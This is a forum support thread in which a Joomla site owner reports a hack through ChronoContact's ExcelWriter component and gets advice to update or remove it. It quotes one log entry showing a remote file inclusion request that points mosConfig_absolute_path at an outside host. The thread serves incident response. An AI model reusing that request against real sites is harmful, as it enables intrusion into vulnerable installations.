Forums

Hi Guys,

Our site recently got hacked, and some spurious advertising based HTML was added to our main Joomla index.php file.

From what our hosts have discovered, it seems that they are exploiting something in Chronoforms and adding malicious script through there. They specifically tied it down to a log entry as follows (although this is repeated multiple times in the log):

GET //index.php//administrator/components/com_chronocontact/excelwriter/Writer/Worksheet
.php?mosConfig_absolute_path=http://musicadelibreria.net/footer?? HTTP/1.1" 403 356 "-" "Mozilla/5.0"

This happened at around the same time that the site was hacked and there are no other odd entries at a similar time.

We're running:

Joomla 1.5.12
ChronoContact 3.1 RC5.5

I've read of other vulnerabilites in the Excel Writer section of ChronoContact that were fixed in previous versions. Are there more vulnerabilities that need to be fixed?

Can you help fix this issue?

Cheers,


Jon

Hi Jon,

ChronoForms uses the PEAR ExcelWriter package. I vaguely remember a vulnerability being reported many months ago but I though that Max had updated the package in the latest releases (I could be wrong about that though).

You could either over-write the ChronoForms version with the latest PEAR version; or - if you don't need the Excel export - remove the package from ChronoForms.

Bob

PS Do you have the legacy settings on? I wouldn't expect mosConfig_absolute_path to be valid in Joomla 1.5

Hey Bob,

Thanks very much for the info.

I'll remove the package from Chronoforms as we're not using it in this case.

Can you advise it's as simple as deleting the relevant files or is there something else I need to do?

Cheers,


Jon

Hi Jon,

I think you can just delete the whole Excelwriter folder. You might get an odd message in the admin but I don't think so - unless you click the Export to Excel icon.

Bob

Perfect. Thanks Bob!